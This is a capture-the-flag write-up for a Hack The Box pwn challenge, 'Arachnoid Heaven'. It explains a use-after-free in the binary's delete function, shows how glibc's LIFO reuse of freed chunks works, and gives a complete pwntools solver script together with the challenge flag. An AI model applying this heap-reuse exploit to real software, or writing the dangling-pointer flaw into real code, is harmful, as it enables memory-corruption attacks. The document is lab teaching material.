In the steam world, you need some trustworthy companions to help you continue your journey. What’s better than a handmade, top-tier, state of the art arachnoid machine?! Exactly, nothing! Come to Arachnoid Heaven and craft yours as soon as possible?

Category: pwn

Solver: t0b1, linaScience

Flag: HTB{l3t_th3_4r4chn01ds_fr3333}

Writeup

In this pwn challenge, we receive a binary called arachnoid_heaven.

TL;DR: The craft_arachnoid function allocates 96 bytes of memory but leaks the first 16 bytes. The delete_arachnoid function frees the name and code of an arachnoid, but does not remove the pointers from the global arachnoid array, nor does it decrease the arachnoid count. As malloc allocates adjacent memory cells, we can combine the two functions, to write an arachnoids name into a memory region where a previously allocated arachnoids code pointed to. Then, we can obtain the flag.

Overview

First, we connect to the challenge to check what’s going on. We are presented with a menu and a prompt what action we want to do.

πŸ•Έ πŸ•·  Welcome to Arachnoid Heaven! πŸ•· πŸ•Έ

     πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©
     πŸ”©                        πŸ”©
     πŸ”©  1. Craft  arachnoid   πŸ”©
     πŸ”©  2. Delete arachnoid   πŸ”©
     πŸ”©  3. View   arachnoid   πŸ”©
     πŸ”©  4. Obtain arachnoid   πŸ”©
     πŸ”©  5. Exit               πŸ”©
     πŸ”©                        πŸ”©
     πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©πŸ”©

>

We can craft an arachnoid, which allows us to give it a name. There is also some code that is initially bad.

We can delete an arachnoid which will likely remove it from the memory.

We can view all arachnoids to show their name and code.

We can obtain an arachnoid which currently results in an Unauthorised! output.

Reverse Engineering

As this is an easy pwn challenge, our first guess is that some security features were disabled when compiling the code, allowing for e.g. buffer overflows. Hence, we run the checksec tool to verify our first assumption.

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

However, checksec reveals that all security features are enabled. Thus, we start Ghidra and feed it the binary.

The main function is not spectacular, as it simply presents us with the menu and prompts for an input.

The craft_arachnoidfunction allocates an array of two pointers first (16 byte) and two pointers (the first for the arachnoid’s name, the second for its code) with 40 bytes each next. It reads 20 bytes as the name of the arachnoid and stores it. Furthermore, it copies “bad” as a default code into the arachnoids code. It finally stores the pointer to the name and code in a global array. However, the allocated array is not freed.

The delete_arachnoid function then frees both the name and the code pointer of the specified arachnoid. However, it does not decrease the arachnoid count. Furthermore, it does not overwrite the space where the name and the code pointers are stored.

The obtain_arachnoidfunction checks, whether the memory at the address the code of the specified arachnoid points to contains sp1d3y. If so, it prints the flag.

As we noted previously, the code of an arachnoid is initialized with “bad”. Furthermore, we have no direct way to modify its contents.

This is where the leak in the craft_arachnoid function comes to play. The malloc function allocates adjacent memory on multiple calls. Furthermore, if we free a pointer and call the same malloc again, we get the same space.

Now, what happens, if we create an arachnoid, delete it, and create a second arachnoid? We can examine that with a little C program, which demonstrates how malloc works. The same is also described in the official glibc malloc documentation [1].

#include <stdio.h>
#include <stdlib.h>

int main() {
        void* a = malloc(0x10);
        printf("a: %p\n", a);
        void* name = malloc(0x28);
        printf("name: %p offset: %p\n", name, name - a);
        void* code = malloc(0x28);
        printf("code: %p offset: %p\n", code, code - a);

        free(name);
        free(code);

        void* aa = malloc(0x10);
        printf("aa: %p offset: %p\n", aa, aa - a);
        name = malloc(0x28);
        printf("name: %p offset: %p\n", name, name - a);
        code = malloc(0x28);
        printf("code: %p offset: %p\n", code, code - a);

        free(name);
        free(code);
        free(a);
        free(aa);
}

This yields an output such as:

a: 0x5592f73aa2a0
name: 0x5592f73aa6d0 offset: 0x430
code: 0x5592f73aa700 offset: 0x460
aa: 0x5592f73aa730 offset: 0x490
name: 0x5592f73aa700 offset: 0x460
code: 0x5592f73aa6d0 offset: 0x430

The observation is clear. First, we allocate three memory regions which gives us different memory areas. Then, we free name and code. Finally, we allocate three memory regions again with the same size as before. According to the glibc malloc implementation, freeing memory generally stores it in a cache, instead of returning it to the operating system directly. This cache can be used for subsequent calls to malloc with the same size. Hence, the allocation of the aa buffer allocates new memory. However, the allocations for name and code, which were previously freed (but allocated with the same size), are reused. Furthermore, as the cache is a Last-in-First-out structure, the name now receives the address that was previously allocated to code and vice-versa.

Exploitation

As the addresses of crafted arachnoids are not overwritten in the global arachnoid array, the old name and code addresses are still present. Hence, the secondly crafted arachnoid’s name points to the previously deleted arachnoid’s code. This way, we can give the second arachnoid the name sp1d3y and obtain the flag!

flag.png

Solver

#!/usr/bin/env python3

import pwn

local = True
binary = "arachnoid_heaven"
remote_address = "167.172.57.255"
remote_port = 32724

def main():
    proc = pwn.process(binary) if local else pwn.remote(remote_address, remote_port)

    def recv_print(x):
        print(proc.recvuntil(x).decode())

    def sendline_int(i):
        proc.sendline(str(i).encode())

    recv_print(">")
    
    pwn.info("Creating first arachnoid")
    sendline_int(1)
    recv_print("Name:")
    proc.sendline(b"test")

    recv_print(">")
    
    pwn.info("Deleting first arachnoid")
    sendline_int(2)
    recv_print("Index:")
    sendline_int(0)
    recv_print(">")

    pwn.info("Creating second arachnoid")
    sendline_int(1)
    recv_print("Name:")
    proc.sendline(b"sp1d3y")
    recv_print(">")

    pwn.info("Viewing arachnoids")
    sendline_int(3)
    recv_print(">")

    pwn.info("Obtaining flag")
    sendline_int(4)
    recv_print("Arachnoid:")
    sendline_int(0)
    recv_print(">")

    pwn.info("Bye")
    sendline_int(5)

if __name__ == "__main__":
    main()

Other resources

[1] glibc malloc documentation https://sourceware.org/glibc/wiki/MallocInternals